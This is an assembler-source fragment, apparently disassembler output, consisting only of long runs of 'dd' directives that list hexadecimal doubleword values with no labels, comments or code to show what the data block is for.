		dd 0C3CEB6h, 0C5D8E07Bh, 67B58797h, 0DB3B9178h,	8E57385Ah
		dd 2ED85h, 3D277F9Bh, 0E21300EAh, 0ABB48B9Ah, 2C38FABCh
		dd 0BB3193B5h, 4BFD5600h, 0FC8A3B5Eh, 0F5E70267h, 9B2A83EEh
		dd 46BA3848h, 0AC4A3E00h, 427C3D5Ch, 602900CFh,	9F84C456h
		dd 8500D354h, 25181964h, 2F9FF4Ch, 8BD15A33h, 0CE0F391h
		dd 0FA000708h, 63A5B9B6h, 190583Fh, 23310D42h, 0D133D0ADh
		dd 0C12EE00Fh, 0F7849E00h, 9551B3D7h, 6B520120h, 36196E25h
		dd 0DEC86030h, 3D5A2900h, 0DC542F12h, 126848FDh, 8A771C00h
		dd 328DAE04h, 0CC9CC00h, 0BBEFF162h, 2D6539A0h,	8A7C460Fh
		dd 0E0B6C0E7h, 0EEE4F8EBh, 3CB31807h, 2270A8D0h, 0CCE620h
		dd 0DD1A4CD6h, 5F8ABC26h, 2F654900h, 12235075h,	8BFA002Bh
		dd 9A981494h, 0F52CC6A7h, 29E0B4BFh, 98063983h,	0C413006Ch
		dd 9B7AD3B1h, 5500098Ch, 0A02C76B3h, 55E0374h, 8202F8C3h
		dd 0C52980D2h, 660EB5C4h, 0E00E1B60h, 0AA7A2349h, 0ABC201A4h
		dd 0D3084563h, 1442F8F9h, 29B60B18h, 157DBC8h, 0A1BD2219h
		dd 28139C24h, 10170038h, 0F29FF5D3h, 19B0020h, 0DB73702h
		dd 6BEE8A1Bh, 1D580E01h, 5726B977h, 0F8371920h,	892B00FFh
		dd 831AEA29h, 0CA3FD785h, 4D2D89A1h, 0C0F88EC5h, 0B84052FBh
		dd 0B7EA15BAh, 4B0AB4ACh, 1DADED39h, 72708091h,	10879E13h
		dd 0D9B37F00h, 1E76095Ah, 345400AAh, 1AE699D4h,	3F00A2E5h
		dd 0CC02FF77h, 386BF84h, 0FE8815C3h, 0CE915F11h, 28C8EC6Ah
		dd 0FCC6B501h, 0E86F1740h, 19F86D4h, 4748F6E9h,	207153A1h
		dd 8F1F4919h, 28002A2Dh, 0C92BA556h, 0EA7616FFh, 16A200EBh
		dd 0DB7E5566h, 0A75CD960h, 4C7ADFC9h, 732AD597h, 0ACE200A0h
		dd 0AA8DC72h, 6A0F4CF7h, 0E04E1383h, 705DC402h,	5A101FDFh
		dd 647F8093h, 0BDBB781Fh, 0EBB2DC00h, 34B5FEDDh, 9F5DF1h
		dd 4793BF00h, 66315F33h, 0D37FF500h, 7306C483h,	3ACB005Ch
		dd 0C5022D4Ah, 7C00BBB6h, 0E6D4CCD5h, 96A24791h, 0B18C0020h
		dd 69065229h, 52A05D4Eh, 0BB15302Ah, 2C45AB20h,	0EFFD2818h
		dd 7922CD11h, 0C4BD02C1h, 2C3EB174h, 0D3F03858h, 0EAEDD90Fh
		dd 222807Ch, 6077CF4Eh,	5C796844h, 0D400A0B2h, 5BEF5A88h
		dd 90C1471Eh, 10451CB9h, 944E550Dh, 5033CF14h, 0EC6A2601h
		dd 0D1CA2AD8h, 0C2B970A7h, 0C101750h, 5D1C2950h, 0A5C0E960h
		dd 0FFBB9Fh, 52C146D0h,	0A071B320h, 42A89060h, 0E06C398Bh
		dd 5C2F007Eh, 0EF18E592h, 1007F103h, 0FE5DAACDh, 8EFA3920h
		dd 8BBB3AE9h, 6FCB3380h, 0F3AF3716h, 6CF68C1Ch,	0BB007F5Dh
		dd 644A38E4h, 491800BFh, 90698409h, 33AAD33h, 6F4680F3h
		dd 8EC40F51h, 971E00A8h, 0CE1CE791h, 1500EF79h,	39943E07h
		dd 504968h, 52E02C1Eh, 0A73B6B26h, 80DB8925h, 0C1B653F4h
		dd 193400A4h, 0E52B673Ah, 1200C927h, 0FC9E8FB1h, 26492420h
		dd 0B69D30h, 0F6910313h, 0EC022505h, 0DF0E2B7Ch, 86C8AF6Bh
		dd 0F058D7C8h, 655C005Bh, 40CEC66h, 18C7AF60h, 44B173A0h
		dd 8A80A48Fh, 0CDE2A8ABh, 0F00F438Eh, 75CBF510h, 0EFA0EC4h
		dd 1C20C0B3h, 7848D9h, 93C744B0h, 843811C1h, 0F4B5DC00h
		dd 73D03DA5h, 0B23A19B7h, 9CD14E4Eh, 32017BE1h,	4340475Dh
		dd 0C5AFCh, 224C8E33h, 179C3D05h, 8026CE39h, 0C8D16770h
		dd 6033D5h, 0C4AFBDFAh,	573B730Ah, 9904D0F1h, 85008998h
		dd 0B913F763h, 34C82DCh
		dd 9D2AE14Ah, 79CE8F75h, 67EBB600h, 25014F92h, 98E1FAA3h
		dd 69B5000Ah, 82D629A1h, 0CD186764h, 0AEF18CCAh, 3E4431E8h
		dd 50D4BA40h, 0EEAC39A4h, 8A008670h, 6E15A4C6h,	356B4B2h
		dd 260B9542h, 6DE0B37Ch, 0E20033BEh, 0FF828149h, 204F7Eh
		dd 0A07289BCh, 7345570Bh, 3542A406h, 2028E31Ah,	6E00FC36h
		dd 432FE55Ah, 71D744h, 659B6AF7h, 4A00323h, 0DF763A00h
		dd 8EDF6D9h, 1373005Bh,	0F94FE9F0h, 0BA02EA81h,	15AF7680h
		dd 7EA640F2h, 8E826CCh,	18F300EEh, 0F06DC6EBh, 3A05120Eh
		dd 575AE049h, 2F88DDh, 0F7E344F4h, 6E111A73h, 0BABD2E2Eh
		dd 43890B00h, 2677049Dh, 0B79CFh, 91CBFABFh, 0E2EA3FABh
		dd 43A66F02h, 615552B4h, 0AF306D3Ah, 0F21D0049h, 979AECFEh
		dd 0C8E44789h, 0A5E38100h, 595D7D2Eh, 0BF220F1Dh, 0D8A0E65Bh
		dd 731312E4h, 0BDAB430Fh, 0E8A8E048h, 3A0BAh, 9DA235B7h
		dd 0A4B26BC3h, 0BD61E50Fh, 98800CAh, 74B435Fh, 65D4DF04h
		dd 0B45CECB1h, 0BF08D701h, 28506E8h, 3B664BECh,	1400FBE3h
		dd 0E292C4E5h, 22005251h, 0E140EF9Ch, 86AB0h, 0A2BA3C8Ch
		dd 17EC9FFDh, 0D09DCC00h, 30CF9279h, 0C1DA0E05h, 11E07DBAh
		dd 0C0C78408h, 0B9069000h, 0B39F220Bh, 57B817h,	257D35E1h
		dd 86F5A547h, 97CD4F00h, 39581106h, 0A40B1FABh,	3F1B0188h
		dd 0D0B8A95Ah, 2877959Fh, 8120483Dh, 0BDE692E9h, 0F8A66816h
		dd 4AFD024Fh, 0DF40D194h, 0FB002646h, 6A233718h, 730D9C2Fh
		dd 0E10B0047h, 57ED3A89h, 0B30050E4h, 1C518A5Dh, 36544C0h
		dd 6163700Ch, 20816E38h, 0E340E82Ch, 2A0BF601h,	47B4D362h
		dd 0EC6374E8h, 0A013003Ah, 6E20EEDFh, 867A1D67h, 2F01EDFAh
		dd 6B6A25CEh, 0F8D4ADA1h, 6D7F003Bh, 0C1E1ABEFh, 663EA5F9h
		dd 0B7CF0035h, 6825C015h, 314100D1h, 29F9DCD5h,	27008BAEh
		dd 398ED484h, 1C0B41Bh,	3690D904h, 0E0823B77h, 0E801FD2Dh
		dd 512C1F95h, 88507980h, 3675411h, 66A9FC52h, 0D2E9EE3Ch
		dd 0CD7AF816h, 50F1507h, 68808A5Fh, 0BD17Ch, 7BBED22Ch
		dd 62C7C24Ah, 5BC14900h, 4D9BB954h, 0B89600C0h,	0ECED2C06h
		dd 0B00CBC9h, 81D23729h, 72E240h, 4BDC3810h, 4FDE13B2h
		dd 9A24A300h, 92F93AE7h, 87F80031h, 10FCBFFFh, 0CC26E42Ch
		dd 7301185Eh, 3806FEEh,	1BB7C840h, 882200DFh, 0C2C518AFh
		dd 5200FE53h, 8FC41D04h, 1FED8CBFh, 40789FB3h, 356DB93Ah
		dd 0BC07D9B1h, 822C7917h, 0C9491D20h, 29F70008h, 1E0EF6BBh
		dd 0E302A1FCh, 0F5AF8635h, 3BA440D5h, 82870074h, 520456E0h
		dd 1E014E66h, 0B24D1F73h, 0F2ECDEE4h, 33EECBh, 92D46B36h
		dd 0C4D2B405h, 0D1EBF81Eh, 7F9707FEh, 8A6070EFh, 4C19F021h
		dd 0A40084A6h, 0F81A9F94h, 5C48CA2Dh, 1D3A26C4h, 0D1800C24h
		dd 0F02CB144h, 56C21D2Fh, 0B058CC50h, 64E80D19h, 99CA0E1Eh
		dd 0CB71C440h, 0C2A57Ch, 0C5EF227Fh, 0F45BF1B0h, 884B7800h
		dd 8D42A210h, 3D232686h, 599083C4h, 3EF805F5h, 1A00D061h
		dd 3265A84Bh, 0EE0EDDh,	0AB86C58h, 2B98D49Bh, 0A5002DECh
		dd 86A1D827h, 5A0F7Dh, 12C519F3h, 3B177154h, 53BAA400h
		dd 2AEEC18Bh, 7C60022Bh, 0FF1BB4F3h, 30D62241h,	8B00A62Dh
		dd 9937D065h, 61D317h, 0B59BAFFBh, 35B15633h, 5FCE24h
		dd 15004716h, 776AF470h, 0FACC1302h, 8EE6006Bh,	99EC22DEh
		dd 0E175EF1Ch, 0A90F0952h, 695B4039h, 7FF72AFh,	0A365823Fh
		dd 8F470EFh, 8701F91Bh,	6967736Ah, 6FFC6257h, 120CEE75h
		dd 7060A558h, 70F35138h, 7FB2B300h, 0EDEB37D1h,	75213891h
		dd 9EEE12h, 8B74112Ch, 691C2D7Ch, 5E0983D0h, 0ED20004Eh
		dd 0B4375Fh, 4680FA75h,	7CF5EA89h, 0BA782300h, 6133842Bh
		dd 4D49013Eh, 0DDE925Dh, 0E365D0C5h, 0C17D9000h, 7BAF23Ah
		dd 729C0956h, 0E00A69DEh, 327700FCh, 9F1636CDh,	0A7ECF100h
		dd 76EB57FEh, 73690005h, 819CE817h, 35002E1Bh, 1E317F68h
		dd 1FB44Eh, 4088BEEEh, 0C5745446h, 96F75B00h, 2AFE81FFh
		dd 1CF783Ah, 0C4C9A511h, 3E6A8B02h, 672005F1h, 0E18D005Ah
		dd 0B55F4651h, 9A005DB0h, 0E3CBD4EBh, 71C9A7h, 0B2E9992Eh
		dd 0C52C32A2h, 0D16F2603h, 0A81B6DBDh, 1600147h, 928E7977h
		dd 605A8348h, 7DEA0E91h, 0E9196E00h, 93E284C7h,	483400C8h
		dd 0D9CF9B90h, 0B05C3AC6h, 6D4B0289h, 0A723186Bh, 0E7229E88h
		dd 949AE0B1h, 1291280h,	0A277108Ch, 0FC0150h, 78219DF8h
		dd 0D881AEBFh, 481C3Eh,	0C7EEFAB8h, 31A4519h, 0A62527A2h
		dd 46E9032Eh, 15602409h, 0A926BA17h, 2BB23700h,	0B404D21h
		dd 5B28CA95h, 0BF36CA0h, 0C317E749h, 80103448h,	37D9C810h
		dd 65C08040h, 0A200217Eh, 0ADF410C5h, 0A067D99Ch, 6B4CC10h
		dd 7001395Ah, 0FC7E71D6h, 654B2412h, 306B3D0Ch,	394F5C68h
		dd 32B49701h, 0F06AF9E3h, 2EF26087h, 6CCA5900h,	3E656D45h
		dd 0AE2F3CDEh, 7DA8521Eh, 15B93282h, 87637BE1h,	34A97FC9h
		dd 6C0CFB0Ch, 20A628C5h, 305D8163h, 0EE006F0Ch,	61B5CF0Ch
		dd 4D33D9h, 70242083h, 314A744Fh, 0BA9BE919h, 0C0813D49h
		dd 0E8B72B84h, 0C30C4099h, 0FCB86DD6h, 0EB50E7F0h, 0AE008198h
		dd 0D14F7F5Ch, 0F46D52EFh, 1F3A77CCh, 182FE489h, 0AA8EF072h
		dd 8D557800h, 0BCD408A9h, 8BDD00E5h, 134591B7h,	0E000CA77h
		dd 66D2542Ch, 70C9FBh, 5864B23Ah, 8A842080h, 905B6B12h
		dd 114F309h, 0AA0396C6h, 0C024A20h, 6842BCC1h, 82F2DAA8h
		dd 2A7AD500h, 2E7F785Dh, 0EEAE44Bh, 0FE92F594h,	3DB98960h
		dd 0DE000809h, 595EFF66h, 0A06AC2A4h, 3DC115E4h, 1080D844h
		dd 6EF1860Ah, 3F30A9CDh, 4E92169h, 3D375C4h, 66392A11h
		dd 26E80730h, 0DA00C3C8h, 168B091Eh, 0C285E9h, 13AA71EEh
		dd 99B90F0Bh, 0B51D087Ch, 0D25EA176h, 20406BD2h, 0D4399290h
		dd 874B01FBh, 0CD6DA540h, 0DE588F1Ah, 88DCC00Bh, 6C6706h
		dd 0E934A3F8h, 0B5F4D69Eh, 0C4C33E01h, 7E5AA9C0h, 40D376F0h
		dd 0CE3CB4C5h, 4FB86143h, 0A1D0AB64h, 2ACD0068h, 0EC63830h
		dd 0E7056F03h, 452F40C0h, 89E2CA83h, 0E9D18C4Fh, 20200BFFh
		dd 0B60040F9h, 417B3284h, 6B5EED19h, 0EC180C48h, 47534008h
		dd 0F68CE24h, 40C50400h, 16B843CBh, 0BCD91E5Fh,	192D19B0h
		dd 80CFD750h, 7106Fh, 0A2E968Dh, 0B1B96D5Ch, 69C720CCh
		dd 16CD07B6h, 20AE8DBEh, 0EBFA4A1Ch, 4F215567h,	661EC860h
		dd 81B7485Fh, 0CEC191Dh, 0A220D5D9h, 96C93400h,	0B5AAF210h
		dd 672C007Ch, 8356A804h, 0D9185576h, 0D31003F4h, 40578071h
		dd 52499F00h, 0A285D17Bh, 0ED8B0A6h, 662D1946h,	23589260h
		dd 5353F0D6h, 76FCBB04h, 11B73930h, 54A015h, 0B0926687h
		dd 64C18B6Fh, 0C6069603h, 2E25D75h, 0FD26CC19h,	0F1020405h
		dd 653800ECh, 0F018DE58h, 5308E86Bh, 4056345Ch,	0A23C0039h
		dd 0C2501A62h, 0BEE04CF4h, 97157E00h, 0F3AA757Ch, 3CB17CE8h
		dd 6C0064ABh, 130AE6BFh, 53036534h, 0C5E75AA6h,	43B03099h
		dd 540CB850h, 2DF8CA78h, 0D1C0D900h, 9F9A1E4Ah,	4D7530C4h
		dd 70CC6B81h, 40A770Fh,	4FEFC016h, 4E3523h, 3B65ED99h
		dd 0B8D2E77Ch, 0D8534C03h, 7720EBF0h, 0DEE50058h, 17F73C61h
		dd 0F51F2DFDh, 98831037h, 0AA14E755h, 2574815Ch, 4FE0EE2Ah
		dd 0F9426054h, 0CC29DF63h, 4014E331h, 18872623h, 605635CEh
		dd 2F98AB22h, 8175493Eh
		dd 65AA5F0Ah, 0F02A50F5h, 511FA071h, 291F7084h,	4DBF6D00h
		dd 2ADC62FBh, 2ACE32Eh,	775CDEEDh, 0E8A04F81h, 2A7C6646h
		dd 4BCA7B05h, 0FC20A751h, 313E5FF5h, 26C09296h,	8AABD5AAh
		dd 0ECA4AD80h, 0DCCC6831h, 7F8F9850h, 988C0A28h, 0C22450DEh
		dd 9E11914Ah, 0F829D10h, 9AC790A8h, 211FAD00h, 65562679h
		dd 0A9E00020h, 0EA63A375h, 421D764Fh, 8A000793h, 900F27A5h
		dd 34BF20Eh, 50DB6CADh,	75F8E6B9h, 7700EBCDh, 0CEE75E08h
		dd 0EDD306h, 9A61A86Dh,	9524C5B0h, 0F0BCA551h, 0B0A2D0F3h
		dd 90925830h, 889F2288h, 7460F627h, 7E4AD528h, 0CD8D1E82h
		dd 440A9260h, 0EDA574h,	56CC8EC3h, 0AABCA8F1h, 9C7218F5h
		dd 67F048AFh, 0BB486B00h, 0A7FBB1E6h, 7F6A03CFh, 4B7357D6h
		dd 1980181Eh, 49B3D900h, 6379C0D1h, 20D3A09Dh, 644C7AE0h
		dd 28928673h, 0F5FA6107h, 0A3C2BE04h, 2A7444DEh, 0A2B0CB82h
		dd 22F43C90h, 0E4B0873Ah, 8F1F3818h, 48561848h,	0BF80ECA6h
		dd 978B6C77h, 312E7BFCh, 0FC22C490h, 27FE447Ah,	254A7400h
		dd 7A79F9B6h, 4634A6A4h, 388D008Eh, 0A4740750h,	5829C92Ch
		dd 0D855CC00h, 0B3A77E7h, 37CC93Dh, 5178E27Bh, 0E0CDA3C3h
		dd 4270B6h, 37FC3573h, 30394E45h, 46B85B60h, 0DD347Fh
		dd 5F787BBFh, 471B6475h, 9CCA150Eh, 0B74DA65Ch,	6A8880E0h
		dd 8854608Eh, 0A569A265h, 875C44EFh, 8EF0450h, 0C08D83E3h
		dd 49A0D045h, 72551DD8h, 0F12AF190h, 545EE42Dh,	78003EF2h
		dd 28BCAD5Bh, 1DED72C6h, 2371CFh, 0FFA26946h, 533A4D37h
		dd 0DF1E18F6h, 0FDDA370h, 300FBACBh, 3D560790h,	50E35446h
		dd 7080040Ah, 82262DB6h, 0C482E02h, 0F118F24Dh,	6949C237h
		dd 63D775Ch, 12642145h,	5101292Dh, 4DF4C748h, 6888702Eh
		dd 458CF1ACh, 83E0805Ah, 0E9DF19FEh, 8A489503h,	20A004Dh
		dd 0DCE798ADh, 3EE5EA4h, 70A76900h, 0D5C2E529h,	6B0D1475h
		dd 2041DCA9h, 20B3D7h, 5F426360h, 4E26C6BFh, 5A605B7Fh
		dd 0C2E0F4B1h, 8CEC02B5h, 9BB662D1h, 0C6701840h, 32EFDCA0h
		dd 0B710580Eh, 0B5B3206Ah, 3FC4578h, 63AD932Dh,	30038606h
		dd 0AE0EA17Ch, 9B18165Eh, 30C468Ch, 0E8889CCAh,	0BD00721Bh
		dd 0EA10E679h, 58CB292Eh, 479D7C55h, 0FADA63EEh, 71B562FCh
		dd 0B2D87868h, 5F510D00h, 6995FDB6h, 588D0026h,	1BDC7547h
		dd 0E501FA23h, 6BE6824Fh, 2EF09915h, 0FD7826BEh, 1EEC0520h
		dd 0D8B030F6h, 0E4A0E064h, 0BA5094AAh, 0B8A160B3h, 66F6E0CBh
		dd 2D240D1Dh, 75AF6E04h, 1D85088h, 804A65CAh, 0A7E57h
		dd 7E9C62C6h, 0B0255021h, 0A3A50E45h, 0FB6B766Dh, 96ED3404h
		dd 350980F0h, 80E0C92Fh, 5FE63D88h, 0D03A0002h,	2ED3F763h
		dd 0BE5094A6h, 0A79C2D0h, 4295AF0Fh, 628DC778h,	0CC6C7640h
		dd 938CA998h, 6A3C67C0h, 80E81120h, 6FF7D8BAh, 19C1851Ch
		dd 27762F78h, 643110FFh, 0D820770h, 79E0BD2Ch, 1D68336Ah
		dd 404897DDh, 28203B74h, 9DE86726h, 0C056211Eh,	17ED9540h
		dd 0E24C5BA0h, 0C75A1C6Ah, 0C6F7C1FFh, 0D426E486h, 8D01E637h
		dd 0DFDC51F1h, 65DC412Dh, 71FC85h, 0F62AB872h, 2322D2F7h
		dd 4726E37Eh, 0BC50E0C3h, 802E5840h, 901575C4h,	4D6CC3FCh
		dd 0CB28DF4Dh, 579C8078h, 8A8210h, 0B3E08DD4h, 685B71C6h
		dd 31A093Eh, 0D53157D0h, 7A2978F7h, 7D750CE4h, 0BAE62FF2h
		dd 0AB948C18h, 0D77E21h, 3793214h, 1FED0217h, 812016E0h
		dd 0D1901F52h, 33F9C614h, 50646119h, 550F1C28h,	12A88310h
		dd 8350037Fh, 0F493ED50h, 970120D6h, 8ECB6761h,	4EDC1782h
		dd 930808C6h, 5030A95Fh, 2A1607F4h, 314C502Dh, 0BB28C57Bh
		dd 278617A8h, 0FA5C3E40h, 7419E433h, 0F69AE00Ch, 0BA38F0h
		dd 2F9780D4h, 25503A8h,	3CE88600h, 2852292Dh, 115F14A6h
		dd 7EC08810h, 0E1027061h, 0C0F3Fh, 0A68FD2EEh, 840D83h
		dd 0AA056C8Dh, 95F12B74h, 0F0D5450Fh, 30F57B7h,	0ED84A01Ah
		dd 76819BAh, 7017B515h,	47835118h, 9C80DEDCh, 0CAFED47Ch
		dd 0F271F61Dh, 0DACB3EC6h, 2E7E0E38h, 2005AF99h, 7DBC40FCh
		dd 0EEC9D656h, 0BF47F000h, 37AFE862h, 7BCA019Bh, 8008D152h
		dd 0BF8050E9h, 21C121EAh, 411595D4h, 2C80C21h, 0DCEF02F7h
		dd 1184C7F3h, 0F87D7880h, 203DBE7h, 17796F9Fh, 0C1780351h
		dd 0D7A03F7Eh, 8070587Eh, 0E3FA711Eh, 0A7604C28h, 0D920ACF1h
		dd 0FC50C0BFh, 42197B7Ah, 0FD930100h, 5B6B0EE5h, 0B15CA163h
		dd 321C8451h, 9AE0F1D5h, 8B641FF2h, 0DE5C0E3Fh,	7403E40Bh
		dd 0D900024Fh, 0AC179DA5h, 191CC74Ah, 89AA3D6Fh, 9F488165h
		dd 984C4FCh, 0D1C06C53h, 242522B0h, 97C403CDh, 0D7D405DDh
		dd 2331E496h, 0B000AFBCh, 87DCEEF9h, 76ECE11Ch,	0EB323A50h
		dd 59C01857h, 487BE967h, 0D1089100h, 2DE632C2h,	0E34209ACh
		dd 9820164Ch, 0FAD52F6Dh, 9419ED24h, 50947500h,	9716F9h
		dd 6AAB6F24h, 9F6BA703h, 5F2890E2h, 9D017435h, 665A182Dh
		dd 40481594h, 59B5010Fh, 0FF84A326h, 0E23EC065h, 0D039FB60h
		dd 2A4B96A9h, 2A8CA3B5h, 60DC8B56h, 17BD50FCh, 0FE4D6C83h
		dd 6B7C021Ch, 80055813h, 8FC2EFBCh, 89DDA7h, 0C7C8D4C6h
		dd 0EE0051DCh, 0C118F7D6h, 30EA89Fh, 19B2136Fh,	0F01D92DBh
		dd 28642009h, 3B737D83h, 9508A829h, 48F89211h, 930F9413h
		dd 3C00EC92h, 6B7D656Ah, 0B3000490h, 0BDF9CA4h,	2AAA1317h
		dd 0A4324Ah, 94DE5FA5h,	0BEE093ACh, 38832333h, 4B7D007h
		dd 41BF0555h, 0AF484BDh, 64086CD0h, 0B0CC607Eh,	7CDAB86Ah
		dd 0B3D10045h, 54F306E4h, 7C00C643h, 0CDDF6B9Dh, 1495A4D4h
		dd 20058E89h, 96B9DC80h, 321E8164h, 0E0537997h,	90D47000h
		dd 0EE4B5h, 2A9CD116h, 52AACFEEh, 514D83Ah, 0AFA91718h
		dd 5C55D440h, 0C1A8048Eh, 0F1C37118h, 6E97F00Ah, 254CAA79h
		dd 49EF4C67h, 0B62C84FCh, 2522FC14h, 172FE400h,	1609516Ah
		dd 0C054547Ch, 0A51914E5h, 6B1DD89Bh, 83EFCAA0h, 952507A8h
		dd 9F033064h, 50B87AC5h, 40EA924h, 2B10F981h, 0DC24A2E1h
		dd 0BF0D0001h, 9B7D156Fh, 105874D1h, 89F06134h,	17F803D0h
		dd 208732Ah, 91CE1A6h, 1301A9BAh, 4981B034h, 3C9F6424h
		dd 0C69441D3h, 3800C303h, 0FAA56C04h, 0EDC8412h, 9EB37CAFh
		dd 6208F6AAh, 9C18EB04h, 171309B8h, 0C20BEDEh, 6B912354h
		dd 195F4E0Fh, 44E91F4Dh, 2E6F00E9h, 578160h, 77DCBF43h
		dd 0CC9BD684h, 0D19E7200h, 0F3D554FFh, 0FA2C1D10h, 9F3FC7DDh
		dd 0FD38FCE3h, 0D3D40684h, 611988EFh, 120ADEF8h, 0D043E3DBh
		dd 7ACE6740h, 0C8EF49DDh, 0A953AC80h, 0E0A0B303h, 9652C10Ah
		dd 0B0DA2BCCh, 0A421126Fh, 34E1F55Ah, 0A631A450h, 4492F8h
		dd 0D1060E81h, 0BF13A57Ch, 0A4058905h, 8227D8Dh, 0E41090C7h
		dd 7CAF49F4h, 0B06424h,	5754B697h, 7A0452DFh, 4FAB91BAh
		dd 6802E485h, 0BD796FDh, 0F883BF01h, 20FC2572h,	4626C050h
		dd 49504C07h, 741F80B0h, 24D93220h, 847477FFh, 9056364Ah
		dd 5154E160h, 2CE3DE00h, 0D6CCA87Fh, 52110071h,	94ACB2ADh
		dd 0DC0EA025h, 83C6A4B1h, 0BB098AE1h, 0A9603A44h, 686A607Ch
		dd 0ED8586B0h, 4D871001h, 0B858DFACh, 0B04AB421h, 6B4FC10h
		dd 13541EE2h, 7A0CA8A1h, 2484906Bh, 8344EE05h, 0A702B255h
		dd 49ED1920h, 0F90010F3h, 2854B057h, 8D007413h,	980F8082h
		dd 0F44FF0D4h, 9FBD3018h
		dd 12958618h, 71B4721Fh, 8AA33901h, 6C649919h, 0CA0A02BBh
		dd 0E73C1ED9h, 0AB8048CBh, 5BEC0568h, 0E6FAB300h, 0EE94E4D9h
		dd 0DC3C1D21h, 268B827Ah, 0C094D046h, 3B28944h,	1281AC6Eh
		dd 67F071F4h, 0D10131C2h, 95B8F2F0h, 3892E1B2h,	2AA045E7h
		dd 0D818427Fh, 309494D2h, 9A37920h, 0F8F3C7Dh, 33677CA2h
		dd 22BFABE0h, 5807DEF2h, 4384947Eh, 80F73D01h, 6272D050h
		dd 28EEC161h, 4038E2ACh, 990495BCh, 1D7CA0B8h, 37457C1Bh
		dd 3FD8219h, 8978A8BAh,	162C9770h, 0DE804442h, 0EF6F923Eh
		dd 0CBE100F0h, 3AD4E608h, 322ECEAAh, 8A0FB49Ah,	77100416h
		dd 8B471C83h, 7065811Dh, 0DC2D040h, 544F3896h, 118E860h
		dd 0F654AAA1h, 0FD307AD8h, 289711A2h, 5A9618D8h, 80C191F1h
		dd 94A27324h, 901DB001h, 5880782Ch, 2D3F2F7Ch, 942E9305h
		dd 0A880E8D0h, 32966F7Ah, 37AB0E8Fh, 0EA4486EDh, 81080AEh
		dd 97FAA1E3h, 0A200BC92h, 1ADD2689h, 32139DB5h,	0C608A511h
		dd 0F1E0DCE9h, 0F5D3C526h, 30EC60C4h, 27EE0D24h, 1407B612h
		dd 67403EC1h, 609FEF10h, 820E8870h, 2C4D19B5h, 0AF167B68h
		dd 681CA924h, 0C996B346h, 21A16008h, 0A5240755h, 61D2F801h
		dd 0DF318FD7h, 50E9B1C0h, 0A0828C9Dh, 50AC9770h, 0ECC48017h
		dd 9EA53E27h, 49FE500h,	7E39479h, 7E004CBAh, 0EA6A5F02h
		dd 38C1FF0h, 0EC9964F1h, 0C7E4CD21h, 0D7895187h, 0AE8C52F6h
		dd 0BA94B833h, 105D4619h, 0D500EC8Dh, 5CD82696h, 18B0D1E5h
		dd 0F0DC3A03h, 0B8515B31h, 0A1E18445h, 0A4C87D90h, 263D7726h
		dd 4D70C83h, 0C0793FCAh, 3059CFD2h, 50712205h, 80FB5A17h
		dd 6028B979h, 0BE206F01h, 798B013Bh, 0CF1E0h, 1F7C4281h
		dd 7AB80916h, 0FCDD290Eh, 8F3440F7h, 3635DBh, 0E21E5C9Fh
		dd 2D15BF01h, 0CA0DDE7Ah, 484827B8h, 0D9B1F03Fh, 105B0C30h
		dd 0ACCA4D1h, 60F0388h,	0EA3600BDh, 0C461A7DAh,	38532300h
		dd 0F70DFFD2h, 0B240055h, 0A63E8BDEh, 0A7FE5BF4h, 0B6CA1B07h
		dd 0C6702FA0h, 37321F01h, 0C0781A75h, 50C04BCCh, 0CBCE1500h
		dd 9784B5B9h, 300D09BFh, 7A808058h, 0DB1C44EFh,	112B9C00h
		dd 8E0721Fh, 0B5CA0764h, 10066362h, 83D95E8Ah, 0F45DB30Eh
		dd 0EEC158F3h, 0E290A813h, 78A7007Ah, 90EA8FE5h, 3A1DC377h
		dd 0BDC03CF8h, 12E0D6C9h, 6AD300B3h, 0E65DC07Dh, 73FEE5DDh
		dd 0A632DF03h, 0F00ECD3Dh, 9C7935h, 6ADBB671h, 9DE8BFADh
		dd 9A63F103h, 0C004C467h, 3486560h, 0C1DCA714h,	0EAB80E2Fh
		dd 5100BEBBh, 6F67C27Eh, 0C5F2DE2h, 0A58E91D8h,	3405328h
		dd 220C0039h, 889CC279h, 0AB003170h, 0D71D8294h, 1E0D2C0Bh
		dd 37B0B8h, 15E6EEA5h, 16249A40h, 0E0FBEA1h, 0E20FC010h
		dd 4259Eh, 476BD376h, 0BB54C4C8h, 96386300h, 0F9AF35F8h
		dd 8EA709E5h, 6D00781Bh, 255F5D22h, 66B1D71Fh, 79AD2D41h
		dd 8760CD3Bh, 0F76B0008h, 6A420C90h, 73006E9Fh,	1BF0C99Eh
		dd 20449Ch, 0E91D0934h,	85CA2460h, 0EBA85503h, 0CBA2E31Ch
		dd 0B8A0D8EFh, 0FB7800DFh, 2B634B95h, 9D017B35h, 0E11F5225h
		dd 83C47771h, 81CA001Ch, 3D78E5FBh, 0E900AB72h,	307BB425h
		dd 756E3CEh, 26A22A3Ch,	6B8E1141h, 5BA8E448h, 1BE43Dh
		dd 880CBFF1h, 14A341Dh,	7E13213Ah, 0F4DC777Dh, 0A800B637h
		dd 0C023093Dh, 8EAC06h,	638336B5h, 2B34FD03h, 84D07300h
		dd 511AE43Ah, 874C504Ah, 171D1DF2h, 0D92380EFh,	25E715C6h
		dd 6E2C5F7Dh, 75073AC1h, 0BC5C9C3h, 0EF41F2C0h,	36ED2C4h
		dd 0C5DD1DFh, 0B275CAC8h, 0E7583E7Dh, 54007F41h, 40ACBF9Dh
		dd 3F012Dh, 6CDA5AF9h, 0C86D7E63h, 0CABA7400h, 91B05F0Dh
		dd 2077D9h, 463F131Eh, 0F8E80A17h, 0ECA33000h, 907586F1h
		dd 31BC1F99h, 0A79CFCh,	309FDC56h, 0DF7796EDh, 6DB58h
		dd 36B28546h, 0F916686h, 93A9C3CEh, 0F85CC5C0h,	48C06B28h
		dd 0F20D956Eh, 2667004Fh, 0FDC20E23h, 8092AD4Ah, 5AEB4E00h
		dd 0E7097ED1h, 0E68807A8h, 80B57B75h, 1AA544A1h, 0D00093B0h
		dd 0CDCEE52Dh, 3DF8CDAh, 369EE333h, 6A807FE8h, 6504A377h
		dd 4A83E64Eh, 92AC5880h, 0A71800D8h, 933297EFh,	9767FD9h
		dd 0D02F650Fh, 7E9681ACh, 0EF5D40h, 3C2035E8h, 0C56F31E5h
		dd 6DA2C314h, 0AF5000CFh, 44305BA6h, 0B880FDF7h, 9F94888Eh
		dd 0FB000296h, 7F1A6D34h, 59F314h, 780A865Ch, 7D0FF1D8h
		dd 9A7C1800h, 0BD70524Bh, 2DCE231h, 0F54F89C6h,	8560A92Dh
		dd 42007136h, 0E8098BEFh, 0B016BFFAh, 7D92C2AEh, 98A08D9Bh
